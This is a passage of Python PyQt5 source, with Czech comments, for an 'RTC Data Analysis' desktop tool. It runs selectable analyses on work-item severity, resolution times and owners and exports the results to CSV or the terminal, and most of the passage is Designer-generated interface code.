exportResults_type2(myDict4, f'{fileNameExport}//Skript4', today, 'Planned Work', lim4)
else:
printResultsSkript4(myDict4, lim4)
if ui.Zadani5.isChecked():
myDict5, wrongFormat = longestTimeRequiredWI(d)
lim5 = ui.NumberOfValuesToFilter5.value()
if exportSettingsIndex == 0:
if wrongFormat == False:
exportResults_type2(myDict5, f'{fileNameExport}//Skript5', today, 'TimeToResolve', lim5)
else:
messageboxWarning('Warning', 'Analýza 5 "WIs Longest Planned Work" nebyla provedena - chybný formát dat. Seznam WI s chybným formátem data lze zobrazit přes Terminal.')
else:
printResultsSkript5(myDict5, wrongFormat, lim5)
if ui.Zadani6.isChecked():
myDict6, count6 = delayedWiWithHighSeverity(d)
if exportSettingsIndex == 0:
exportResults_type1(myDict6, f'{fileNameExport}//Skript6', today)
else:
printResultsSkript6(myDict6, count6)
if ui.Zadani7.isChecked():
myDict7 = sortSWPartsByNumberOfHighSeverityWI(d)
lim7 = ui.NumberOfValuesToFilter5.value()
if exportSettingsIndex == 0:
exportResults_type2(myDict7, f'{fileNameExport}//Skript7', today, 'countTotal', lim7)
else:
printResultsSkript7(myDict7, lim7)
if ui.Zadani8.isChecked():
myDict8, count8 = ownersWhichSelectedResolutionLaterOnHighSeverityWi(d)
if exportSettingsIndex == 0:
exportResults_type1(myDict8, f'{fileNameExport}//Skript8', today)
else:
printResultsSkript8(myDict8, count8)
# informace při úspěšném dokončení:
messageboxInfo('Information', 'Analýza úspěšně dokončena.')
# Error hlášky, pokud analýza nedoběhne:
except FileNotFoundError as e:
messageboxError('Error', f'Error occured:\nNebyla zadaná platná cesta pro uložení CSV souborů!\n\nPodrobnosti:\n{e}')
return
except Exception as e:
messageboxError('Error', f'Unexpected error occured:\n\nPodrobnosti:\n{traceback.format_exc()}')
return
# šílená část kódu z většiny vygenerovaná přes PyQt designera:
class Ui_MainWindow(object):
def setupUi(self, MainWindow):
MainWindow.setObjectName("MainWindow")
MainWindow.resize(824, 880)
MainWindow.setMinimumSize(QtCore.QSize(824, 880))
MainWindow.setMaximumSize(QtCore.QSize(824, 880))
icon = QtGui.QIcon()
icon.addPixmap(QtGui.QPixmap(":/newPrefix/Downloads/thermo.png"), QtGui.QIcon.Normal, QtGui.QIcon.Off)
MainWindow.setWindowIcon(icon)
MainWindow.setAutoFillBackground(False)
MainWindow.setStyleSheet("background-color: rgb(255, 255, 255);\n"
"")
MainWindow.setTabShape(QtWidgets.QTabWidget.Rounded)
self.centralwidget = QtWidgets.QWidget(MainWindow)
self.centralwidget.setObjectName("centralwidget")
self.logoTFpng = QtWidgets.QLabel(self.centralwidget)
self.logoTFpng.setGeometry(QtCore.QRect(610, 10, 161, 111))
self.logoTFpng.setMaximumSize(QtCore.QSize(500, 500))
self.logoTFpng.setText("")
self.logoTFpng.setPixmap(QtGui.QPixmap("projektPng/tf.png"))
self.logoTFpng.setScaledContents(True)
self.logoTFpng.setObjectName("logoTFpng")
self.RunAnalysisPushButton = QtWidgets.QCommandLinkButton(self.centralwidget)
self.RunAnalysisPushButton.setGeometry(QtCore.QRect(580, 800, 187, 55))
self.RunAnalysisPushButton.setMaximumSize(QtCore.QSize(193, 16777215))
self.RunAnalysisPushButton.setStyleSheet("font: 14pt \".AppleSystemUIFont\";\n"
"background-color: rgb(234, 230, 236);\n"
"\n"
"")
icon1 = QtGui.QIcon()
icon1.addPixmap(QtGui.QPixmap("projektPng/run.png"), QtGui.QIcon.Normal, QtGui.QIcon.Off)
self.RunAnalysisPushButton.setIcon(icon1)
self.RunAnalysisPushButton.setIconSize(QtCore.QSize(35, 35))
self.RunAnalysisPushButton.setCheckable(False)
self.RunAnalysisPushButton.setObjectName("RunAnalysisPushButton")
self.verticalLayoutWidget_3 = QtWidgets.QWidget(self.centralwidget)
self.verticalLayoutWidget_3.setGeometry(QtCore.QRect(70, 50, 671, 751))
self.verticalLayoutWidget_3.setObjectName("verticalLayoutWidget_3")
self.celyLayout = QtWidgets.QVBoxLayout(self.verticalLayoutWidget_3)
self.celyLayout.setContentsMargins(0, 0, 0, 0)
self.celyLayout.setObjectName("celyLayout")
self.label_insertFile = QtWidgets.QLabel(self.verticalLayoutWidget_3)
font = QtGui.QFont()
font.setFamily("Arial")
self.label_insertFile.setFont(font)
self.label_insertFile.setTextInteractionFlags(QtCore.Qt.TextSelectableByMouse)
self.label_insertFile.setObjectName("label_insertFile")
self.celyLayout.addWidget(self.label_insertFile)
spacerItem = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum)
self.celyLayout.addItem(spacerItem)
self.gridLayout_4 = QtWidgets.QGridLayout()
self.gridLayout_4.setObjectName("gridLayout_4")
self.inputFileName1 = QtWidgets.QLineEdit(self.verticalLayoutWidget_3)
self.inputFileName1.setMinimumSize(QtCore.QSize(370, 0))
self.inputFileName1.setFrame(True)
self.inputFileName1.setReadOnly(True)
self.inputFileName1.setObjectName("inputFileName1")
self.gridLayout_4.addWidget(self.inputFileName1, 1, 1, 1, 1)
self.InsertFile1 = QtWidgets.QLabel(self.verticalLayoutWidget_3)
self.InsertFile1.setObjectName("InsertFile1")
self.gridLayout_4.addWidget(self.InsertFile1, 1, 0, 1, 1)
spacerItem1 = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum)
self.gridLayout_4.addItem(spacerItem1, 1, 3, 1, 1)
self.insertFile1Button = QtWidgets.QToolButton(self.verticalLayoutWidget_3)
self.insertFile1Button.setMaximumSize(QtCore.QSize(20, 20))
icon2 = QtGui.QIcon()
icon2.addPixmap(QtGui.QPixmap("projektPng/addfile.png"), QtGui.QIcon.Normal, QtGui.QIcon.Off)
self.insertFile1Button.setIcon(icon2)
self.insertFile1Button.setIconSize(QtCore.QSize(40, 40))
self.insertFile1Button.setObjectName("insertFile1Button")
self.gridLayout_4.addWidget(self.insertFile1Button, 1, 2, 1, 1)
self.celyLayout.addLayout(self.gridLayout_4)
spacerItem2 = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum)
self.celyLayout.addItem(spacerItem2)
self.label_chooseAnalysis = QtWidgets.QLabel(self.verticalLayoutWidget_3)
font = QtGui.QFont()
font.setFamily("Arial")
self.label_chooseAnalysis.setFont(font)
self.label_chooseAnalysis.setObjectName("label_chooseAnalysis")
self.celyLayout.addWidget(self.label_chooseAnalysis)
spacerItem3 = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum)
self.celyLayout.addItem(spacerItem3)
self.verticalLayout = QtWidgets.QVBoxLayout()
self.verticalLayout.setObjectName("verticalLayout")
self.horizontalLayout_7 = QtWidgets.QHBoxLayout()
self.horizontalLayout_7.setObjectName("horizontalLayout_7")
self.Zadani1 = QtWidgets.QCheckBox(self.verticalLayoutWidget_3)
self.Zadani1.setMaximumSize(QtCore.QSize(300, 16777215))
self.Zadani1.setCursor(QtGui.QCursor(QtCore.Qt.PointingHandCursor))
self.Zadani1.setTabletTracking(False)
self.Zadani1.setIconSize(QtCore.QSize(20, 20))
self.Zadani1.setCheckable(True)
self.Zadani1.setChecked(True)
self.Zadani1.setTristate(False)
self.Zadani1.setObjectName("Zadani1")
self.horizontalLayout_7.addWidget(self.Zadani1)
self.help1_png = QtWidgets.QLabel(self.verticalLayoutWidget_3)
self.help1_png.setMaximumSize(QtCore.QSize(20, 20))
self.help1_png.setMouseTracking(True)
self.help1_png.setText("")
self.help1_png.setPixmap(QtGui.QPixmap("projektPng/questionmark.png"))
self.help1_png.setScaledContents(True)
self.help1_png.setObjectName("help1_png")
self.horizontalLayout_7.addWidget(self.help1_png)
spacerItem4 = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum)
self.horizontalLayout_7.addItem(spacerItem4)
self.verticalLayout.addLayout(self.horizontalLayout_7)
spacerItem5 = QtWidgets.QSpacerItem(20, 40, QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Expanding)
self.verticalLayout.addItem(spacerItem5)
self.horizontalLayout_9 = QtWidgets.QHBoxLayout()
self.horizontalLayout_9.setObjectName("horizontalLayout_9")
self.Zadani2 = QtWidgets.QCheckBox(self.verticalLayoutWidget_3)
self.Zadani2.setCursor(QtGui.QCursor(QtCore.Qt.PointingHandCursor))
self.Zadani2.setTabletTracking(False)
self.Zadani2.setIconSize(QtCore.QSize(16, 16))
self.Zadani2.setCheckable(True)
self.Zadani2.setChecked(True)
self.Zadani2.setTristate(False)
self.Zadani2.setObjectName("Zadani2")
self.horizontalLayout_9.addWidget(self.Zadani2)
self.help2_png = QtWidgets.QLabel(self.verticalLayoutWidget_3)
self.help2_png.setMaximumSize(QtCore.QSize(20, 20))
self.help2_png.setMouseTracking(True)
self.help2_png.setText("")
self.help2_png.setPixmap(QtGui.QPixmap("projektPng/questionmark.png"))
self.help2_png.setScaledContents(True)
self.help2_png.setObjectName("help2_png")
self.horizontalLayout_9.addWidget(self.help2_png)
spacerItem6 = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum)
self.horizontalLayout_9.addItem(spacerItem6)
self.verticalLayout.addLayout(self.horizontalLayout_9)
spacerItem7 = QtWidgets.QSpacerItem(20, 40, QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Expanding)
self.verticalLayout.addItem(spacerItem7)
self.horizontalLayout_10 = QtWidgets.QHBoxLayout()
self.horizontalLayout_10.setObjectName("horizontalLayout_10")
self.Zadani3 = QtWidgets.QCheckBox(self.verticalLayoutWidget_3)
self.Zadani3.setCursor(QtGui.QCursor(QtCore.Qt.PointingHandCursor))
self.Zadani3.setTabletTracking(False)
self.Zadani3.setCheckable(True)
self.Zadani3.setChecked(True)
self.Zadani3.setTristate(False)
self.Zadani3.setObjectName("Zadani3")
self.horizontalLayout_10.addWidget(self.Zadani3)
self.help3_png = QtWidgets.QLabel(self.verticalLayoutWidget_3)
self.help3_png.setMaximumSize(QtCore.QSize(20, 20))
self.help3_png.setMouseTracking(True)
self.help3_png.setText("")
self.help3_png.setPixmap(QtGui.QPixmap("projektPng/questionmark.png"))
self.help3_png.setScaledContents(True)
self.help3_png.setObjectName("help3_png")
self.horizontalLayout_10.addWidget(self.help3_png)
spacerItem8 = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum)
self.horizontalLayout_10.addItem(spacerItem8)
self.verticalLayout.addLayout(self.horizontalLayout_10)
self.horizontalLayout_2 = QtWidgets.QHBoxLayout()
self.horizontalLayout_2.setObjectName("horizontalLayout_2")
spacerItem9 = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Minimum)
self.horizontalLayout_2.addItem(spacerItem9)
self.label_HowMany3 = QtWidgets.QLabel(self.verticalLayoutWidget_3)
self.label_HowMany3.setObjectName("label_HowMany3")
self.horizontalLayout_2.addWidget(self.label_HowMany3)
self.NumberOfValuesToFilter3 = QtWidgets.QSpinBox(self.verticalLayoutWidget_3)
self.NumberOfValuesToFilter3.setMinimum(1)
self.NumberOfValuesToFilter3.setMaximum(999)
self.NumberOfValuesToFilter3.setProperty("value", 10)
self.NumberOfValuesToFilter3.setObjectName("NumberOfValuesToFilter3")
self.horizontalLayout_2.addWidget(self.NumberOfValuesToFilter3)
spacerItem10 = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum)
self.horizontalLayout_2.addItem(spacerItem10)
self.verticalLayout.addLayout(self.horizontalLayout_2)
spacerItem11 = QtWidgets.QSpacerItem(20, 40, QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Expanding)
self.verticalLayout.addItem(spacerItem11)
self.horizontalLayout_11 = QtWidgets.QHBoxLayout()
self.horizontalLayout_11.setObjectName("horizontalLayout_11")
self.Zadani4 = QtWidgets.QCheckBox(self.verticalLayoutWidget_3)
self.Zadani4.setCursor(QtGui.QCursor(QtCore.Qt.PointingHandCursor))
self.Zadani4.setTabletTracking(False)
self.Zadani4.setCheckable(True)
self.Zadani4.setChecked(True)
self.Zadani4.setTristate(False)
self.Zadani4.setObjectName("Zadani4")
self.horizontalLayout_11.addWidget(self.Zadani4)
self.help4_png = QtWidgets.QLabel(self.verticalLayoutWidget_3)
self.help4_png.setMaximumSize(QtCore.QSize(20, 20))
self.help4_png.setMouseTracking(True)
self.help4_png.setText("")
self.help4_png.setPixmap(QtGui.QPixmap("projektPng/questionmark.png"))
self.help4_png.setScaledContents(True)
self.help4_png.setObjectName("help4_png")
self.horizontalLayout_11.addWidget(self.help4_png)
spacerItem12 = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum)
self.horizontalLayout_11.addItem(spacerItem12)
self.verticalLayout.addLayout(self.horizontalLayout_11)
self.horizontalLayout_4 = QtWidgets.QHBoxLayout()
self.horizontalLayout_4.setObjectName("horizontalLayout_4")
spacerItem13 = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Minimum)
self.horizontalLayout_4.addItem(spacerItem13)
self.label_HowMany4 = QtWidgets.QLabel(self.verticalLayoutWidget_3)
self.label_HowMany4.setObjectName("label_HowMany4")
self.horizontalLayout_4.addWidget(self.label_HowMany4)
self.NumberOfValuesToFilter4 = QtWidgets.QSpinBox(self.verticalLayoutWidget_3)
self.NumberOfValuesToFilter4.setMinimum(1)
self.NumberOfValuesToFilter4.setMaximum(999)
self.NumberOfValuesToFilter4.setProperty("value", 10)
self.NumberOfValuesToFilter4.setObjectName("NumberOfValuesToFilter4")
self.horizontalLayout_4.addWidget(self.NumberOfValuesToFilter4)
spacerItem14 = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum)
self.horizontalLayout_4.addItem(spacerItem14)
self.verticalLayout.addLayout(self.horizontalLayout_4)
spacerItem15 = QtWidgets.QSpacerItem(20, 40, QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Expanding)
self.verticalLayout.addItem(spacerItem15)
self.horizontalLayout_12 = QtWidgets.QHBoxLayout()
self.horizontalLayout_12.setObjectName("horizontalLayout_12")
self.Zadani5 = QtWidgets.QCheckBox(self.verticalLayoutWidget_3)
self.Zadani5.setCursor(QtGui.QCursor(QtCore.Qt.PointingHandCursor))
self.Zadani5.setTabletTracking(False)
self.Zadani5.setCheckable(True)
self.Zadani5.setChecked(True)
self.Zadani5.setTristate(False)
self.Zadani5.setObjectName("Zadani5")
self.horizontalLayout_12.addWidget(self.Zadani5)
self.help5_png = QtWidgets.QLabel(self.verticalLayoutWidget_3)
self.help5_png.setMaximumSize(QtCore.QSize(20, 20))
self.help5_png.setMouseTracking(True)
self.help5_png.setText("")
self.help5_png.setPixmap(QtGui.QPixmap("projektPng/questionmark.png"))
self.help5_png.setScaledContents(True)
self.help5_png.setObjectName("help5_png")
self.horizontalLayout_12.addWidget(self.help5_png)
spacerItem16 = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum)
self.horizontalLayout_12.addItem(spacerItem16)
self.verticalLayout.addLayout(self.horizontalLayout_12)
self.horizontalLayout_5 = QtWidgets.QHBoxLayout()
self.horizontalLayout_5.setObjectName("horizontalLayout_5")
spacerItem17 = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Minimum)
self.horizontalLayout_5.addItem(spacerItem17)
self.label_HowMany5 = QtWidgets.QLabel(self.verticalLayoutWidget_3)
self.label_HowMany5.setObjectName("label_HowMany5")
self.horizontalLayout_5.addWidget(self.label_HowMany5)
self.NumberOfValuesToFilter5 = QtWidgets.QSpinBox(self.verticalLayoutWidget_3)
self.NumberOfValuesToFilter5.setMinimum(1)
self.NumberOfValuesToFilter5.setMaximum(999)
self.NumberOfValuesToFilter5.setProperty("value", 10)
self.NumberOfValuesToFilter5.setObjectName("NumberOfValuesToFilter5")
self.horizontalLayout_5.addWidget(self.NumberOfValuesToFilter5)
spacerItem18 = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum)
self.horizontalLayout_5.addItem(spacerItem18)
self.verticalLayout.addLayout(self.horizontalLayout_5)
spacerItem19 = QtWidgets.QSpacerItem(20, 40, QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Expanding)
self.verticalLayout.addItem(spacerItem19)
self.horizontalLayout_13 = QtWidgets.QHBoxLayout()
self.horizontalLayout_13.setObjectName("horizontalLayout_13")
self.Zadani6 = QtWidgets.QCheckBox(self.verticalLayoutWidget_3)
self.Zadani6.setCursor(QtGui.QCursor(QtCore.Qt.PointingHandCursor))
self.Zadani6.setTabletTracking(False)
self.Zadani6.setCheckable(True)
self.Zadani6.setChecked(True)
self.Zadani6.setTristate(False)
self.Zadani6.setObjectName("Zadani6")
self.horizontalLayout_13.addWidget(self.Zadani6)
self.help6_png = QtWidgets.QLabel(self.verticalLayoutWidget_3)
self.help6_png.setMaximumSize(QtCore.QSize(20, 20))
self.help6_png.setMouseTracking(True)
self.help6_png.setText("")
self.help6_png.setPixmap(QtGui.QPixmap("projektPng/questionmark.png"))
self.help6_png.setScaledContents(True)
self.help6_png.setObjectName("help6_png")
self.horizontalLayout_13.addWidget(self.help6_png)
spacerItem20 = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum)
self.horizontalLayout_13.addItem(spacerItem20)
self.verticalLayout.addLayout(self.horizontalLayout_13)
spacerItem21 = QtWidgets.QSpacerItem(20, 40, QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Expanding)
self.verticalLayout.addItem(spacerItem21)
self.horizontalLayout_14 = QtWidgets.QHBoxLayout()
self.horizontalLayout_14.setObjectName("horizontalLayout_14")
self.Zadani7 = QtWidgets.QCheckBox(self.verticalLayoutWidget_3)
self.Zadani7.setCursor(QtGui.QCursor(QtCore.Qt.PointingHandCursor))
self.Zadani7.setTabletTracking(False)
self.Zadani7.setCheckable(True)
self.Zadani7.setChecked(True)
self.Zadani7.setTristate(False)
self.Zadani7.setObjectName("Zadani7")
self.horizontalLayout_14.addWidget(self.Zadani7)
self.help7_png = QtWidgets.QLabel(self.verticalLayoutWidget_3)
self.help7_png.setMaximumSize(QtCore.QSize(20, 20))
self.help7_png.setMouseTracking(True)
self.help7_png.setText("")
self.help7_png.setPixmap(QtGui.QPixmap("projektPng/questionmark.png"))
self.help7_png.setScaledContents(True)
self.help7_png.setObjectName("help7_png")
self.horizontalLayout_14.addWidget(self.help7_png)
spacerItem22 = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum)
self.horizontalLayout_14.addItem(spacerItem22)
self.verticalLayout.addLayout(self.horizontalLayout_14)
self.horizontalLayout_6 = QtWidgets.QHBoxLayout()
self.horizontalLayout_6.setObjectName("horizontalLayout_6")
spacerItem23 = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Minimum)
self.horizontalLayout_6.addItem(spacerItem23)
self.label_HowMany7 = QtWidgets.QLabel(self.verticalLayoutWidget_3)
self.label_HowMany7.setObjectName("label_HowMany7")
self.horizontalLayout_6.addWidget(self.label_HowMany7)
self.NumberOfValuesToFilter7_2 = QtWidgets.QSpinBox(self.verticalLayoutWidget_3)
self.NumberOfValuesToFilter7_2.setMinimum(1)
self.NumberOfValuesToFilter7_2.setMaximum(999)
self.NumberOfValuesToFilter7_2.setProperty("value", 10)
self.NumberOfValuesToFilter7_2.setObjectName("NumberOfValuesToFilter7_2")
self.horizontalLayout_6.addWidget(self.NumberOfValuesToFilter7_2)
spacerItem24 = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum)
self.horizontalLayout_6.addItem(spacerItem24)
self.verticalLayout.addLayout(self.horizontalLayout_6)
spacerItem25 = QtWidgets.QSpacerItem(20, 40, QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Expanding)
self.verticalLayout.addItem(spacerItem25)
self.horizontalLayout_15 = QtWidgets.QHBoxLayout()
self.horizontalLayout_15.setObjectName("horizontalLayout_15")
self.Zadani8 = QtWidgets.QCheckBox(self.verticalLayoutWidget_3)
self.Zadani8.setCursor(QtGui.QCursor(QtCore.Qt.PointingHandCursor))
self.Zadani8.setTabletTracking(False)
self.Zadani8.setCheckable(True)
self.Zadani8.setChecked(True)
self.Zadani8.setTristate(False)
self.Zadani8.setObjectName("Zadani8")
self.horizontalLayout_15.addWidget(self.Zadani8)
self.verticalLayout_2 = QtWidgets.QVBoxLayout()
self.verticalLayout_2.setObjectName("verticalLayout_2")
self.horizontalLayout_15.addLayout(self.verticalLayout_2)
self.help8_png = QtWidgets.QLabel(self.verticalLayoutWidget_3)
self.help8_png.setMaximumSize(QtCore.QSize(20, 20))
self.help8_png.setMouseTracking(True)
self.help8_png.setText("")
self.help8_png.setPixmap(QtGui.QPixmap("projektPng/questionmark.png"))
self.help8_png.setScaledContents(True)
self.help8_png.setObjectName("help8_png")
self.horizontalLayout_15.addWidget(self.help8_png)
spacerItem26 = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum)
self.horizontalLayout_15.addItem(spacerItem26)
self.verticalLayout.addLayout(self.horizontalLayout_15)
self.celyLayout.addLayout(self.verticalLayout)
spacerItem27 = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum)
self.celyLayout.addItem(spacerItem27)
self.label_export = QtWidgets.QLabel(self.verticalLayoutWidget_3)
self.label_export.setObjectName("label_export")
self.celyLayout.addWidget(self.label_export)
spacerItem28 = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum)
self.celyLayout.addItem(spacerItem28)
self.gridLayout_2 = QtWidgets.QGridLayout()
self.gridLayout_2.setObjectName("gridLayout_2")
self.label_exporTo = QtWidgets.QLabel(self.verticalLayoutWidget_3)
self.label_exporTo.setObjectName("label_exporTo")
self.gridLayout_2.addWidget(self.label_exporTo, 0, 0, 1, 1)
spacerItem29 = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Minimum)
self.gridLayout_2.addItem(spacerItem29, 0, 3, 1, 1)
self.ChooseExportTo = QtWidgets.QComboBox(self.verticalLayoutWidget_3)
self.ChooseExportTo.setEditable(False)
self.ChooseExportTo.setObjectName("ChooseExportTo")
self.ChooseExportTo.addItem("")
self.ChooseExportTo.addItem("")
self.gridLayout_2.addWidget(self.ChooseExportTo, 0, 1, 1, 1)
self.gridLayout_ = QtWidgets.QGridLayout()
self.gridLayout_.setObjectName("gridLayout_")
self.label_saveTo = QtWidgets.QLabel(self.verticalLayoutWidget_3)
self.label_saveTo.setObjectName("label_saveTo")
self.gridLayout_.addWidget(self.label_saveTo, 0, 0, 1, 1)
self.saveToButton = QtWidgets.QToolButton(self.verticalLayoutWidget_3)
self.saveToButton.setStatusTip("")
icon3 = QtGui.QIcon()
icon3.addPixmap(QtGui.QPixmap("projektPng/addfilesicon.ico"), QtGui.QIcon.Normal, QtGui.QIcon.Off)
self.saveToButton.setIcon(icon3)
self.saveToButton.setIconSize(QtCore.QSize(22, 22))
self.saveToButton.setPopupMode(QtWidgets.QToolButton.DelayedPopup)
self.saveToButton.setObjectName("saveToButton")
self.gridLayout_.addWidget(self.saveToButton, 0, 2, 1, 1)
self.output = QtWidgets.QLineEdit(self.verticalLayoutWidget_3)
self.output.setMinimumSize(QtCore.QSize(350, 0))
self.output.setStatusTip("")
self.output.setWhatsThis("")
self.output.setAccessibleName("")
self.output.setAccessibleDescription("")
self.output.setInputMask("")
self.output.setText("")
self.output.setReadOnly(True)
self.output.setObjectName("output")
self.gridLayout_.addWidget(self.output, 0, 1, 1, 1)
self.gridLayout_2.addLayout(self.gridLayout_, 0, 4, 1, 1)
self.celyLayout.addLayout(self.gridLayout_2)
self.RunAnalysisPushButton.raise_()
self.verticalLayoutWidget_3.raise_()
self.logoTFpng.raise_()
MainWindow.setCentralWidget(self.centralwidget)
self.statusBar = QtWidgets.QStatusBar(MainWindow)
self.statusBar.setObjectName("statusBar")
MainWindow.setStatusBar(self.statusBar)
self.actionRunAnalysis = QtWidgets.QAction(MainWindow)
icon4 = QtGui.QIcon()
icon4.addPixmap(QtGui.QPixmap(":/newPrefix/Downloads/run.png"), QtGui.QIcon.Normal, QtGui.QIcon.Off)
self.actionRunAnalysis.setIcon(icon4)
self.actionRunAnalysis.setObjectName("actionRunAnalysis")
self.retranslateUi(MainWindow)
QtCore.QMetaObject.connectSlotsByName(MainWindow)
# Vytvoření dialogu pro výběr souboru pro import:
self.insertFile1Button.clicked.connect(self.selectFileImport)
# Vytvoření dialogu pro výběr složky pro export souborů:
self.saveToButton.clicked.connect(self.selectFileExport)
# napojení tlačítka "RunAnalysisPushButton" na funkci "runAnalysisAccordingSettings"
self.RunAnalysisPushButton.clicked.connect(lambda: runAnalysisAccordingSettings(self))
# napojení tlačítka
def selectFileImport(self):
self.absPathCurrent = QtWidgets.QFileDialog.getOpenFileName()[0]
self.inputFileName1.setText(self.absPathCurrent)
# Potřeba změnit na výběr folderu a ne filu
def selectFileExport(self):
self.absPathOutput = QtWidgets.QFileDialog.getExistingDirectory()
self.output.setText(self.absPathOutput)
def retranslateUi(self, MainWindow):
_translate = QtCore.QCoreApplication.translate
MainWindow.setWindowTitle(_translate("MainWindow", "RTC Data Analysis"))
self.RunAnalysisPushButton.setToolTip(_translate("MainWindow", "Run chosen analysis F5"))
self.RunAnalysisPushButton.setText(_translate("MainWindow", "RUN ANALYSIS"))
self.RunAnalysisPushButton.setShortcut(_translate("MainWindow", "F5"))
self.label_insertFile.setText(_translate("MainWindow", "<html><head/><body><p><span style=\" font-size:18pt;\">1. INSERT FILE</span></p></body></html>"))
self.InsertFile1.setText(_translate("MainWindow", "Insert file:"))
self.insertFile1Button.setToolTip(_translate("MainWindow", "Insert file"))
self.insertFile1Button.setText(_translate("MainWindow", "Add file"))
self.label_chooseAnalysis.setText(_translate("MainWindow", "<html><head/><body><p><span style=\" font-size:18pt;\">2. CHOOSE ANALYSIS</span></p></body></html>"))
self.Zadani1.setToolTip(_translate("MainWindow", "pomocka"))
self.Zadani1.setText(_translate("MainWindow", "1. Severity and Priority check"))
self.help1_png.setToolTip(_translate("MainWindow", "Returns WIs with Severity Blocker/Critical, but with Priority less than High."))
self.Zadani2.setText(_translate("MainWindow", "2. Critical or Blocker not reproduced WIs "))
self.help2_png.setToolTip(_translate("MainWindow", "How many (and what percentage) of WIs could not be reproduced? \n"
"How many of them were Critical/Blocker? Which SW Part has the most of these?"))
self.Zadani3.setText(_translate("MainWindow", "3. Resolvers sorted by number of Critical/Blocker WI"))
self.help3_png.setToolTip(_translate("MainWindow", "Sorts resolvers by number of Critical/Blocker WIs.\n"
"Returns chosen number of Resolvers with the most of Critical/Blocker WIs."))
self.label_HowMany3.setText(_translate("MainWindow", "Return first"))
self.Zadani4.setText(_translate("MainWindow", "4. WIs with Longest Planned Work"))
self.help4_png.setToolTip(_translate("MainWindow", "Returns chosen number of WIs with the longest Planned Work."))
self.label_HowMany4.setText(_translate("MainWindow", "Return first"))
self.Zadani5.setText(_translate("MainWindow", "5. WIs with Longest Resolution Time"))
self.help5_png.setToolTip(_translate("MainWindow", "Returns chosen number of WI with the longest Resolution time. \n"
"Note: Resolution time = ResolvedDate - CreationDate"))
self.label_HowMany5.setText(_translate("MainWindow", "Return first"))
self.Zadani6.setText(_translate("MainWindow", "6. Delayed Blocker or Critical WIs"))
self.help6_png.setToolTip(_translate("MainWindow", "Returns WIs with Severity Critical/Blocker and Delayed resolution."))
self.Zadani7.setText(_translate("MainWindow", "7. Sort Blocker/Critical WIs by SW Part"))
self.help7_png.setToolTip(_translate("MainWindow", "Sorts \'Sw Part\' (Teams) by number of Blocking/Critical issues. Returns teams which have the most Blocker/Critical issues."))
self.label_HowMany7.setText(_translate("MainWindow", "Return first"))
self.Zadani8.setText(_translate("MainWindow", "8. Blocker/Critical WIs with Resolution \'Later\'"))
self.help8_png.setToolTip(_translate("MainWindow", "Returns owners which selected Resolution \'Later\' on WIs with Severity Critical/Blocker."))
self.label_export.setText(_translate("MainWindow", "<html><head/><body><p><span style=\" font-size:18pt;\">3. EXPORT</span></p></body></html>"))
self.label_exporTo.setText(_translate("MainWindow", "Export to:"))
self.ChooseExportTo.setCurrentText(_translate("MainWindow", "CSV"))
self.ChooseExportTo.setItemText(0, _translate("MainWindow", "CSV"))
self.ChooseExportTo.setItemText(1, _translate("MainWindow", "Terminal"))
self.label_saveTo.setText(_translate("MainWindow", "Save to:"))
self.saveToButton.setToolTip(_translate("MainWindow", "Add folder"))
self.saveToButton.setText(_translate("MainWindow", "Add folder"))
self.actionRunAnalysis.setText(_translate("MainWindow", "RunAnalysis"))
self.actionRunAnalysis.setToolTip(_translate("MainWindow", "RunChoosenAnalysis"))
if __name__ == "__main__":
import sys
app = QtWidgets.QApplication(sys.argv)
MainWindow = QtWidgets.QMainWindow()
ui = Ui_MainWindow()
ui.setupUi(MainWindow)
MainWindow.show()
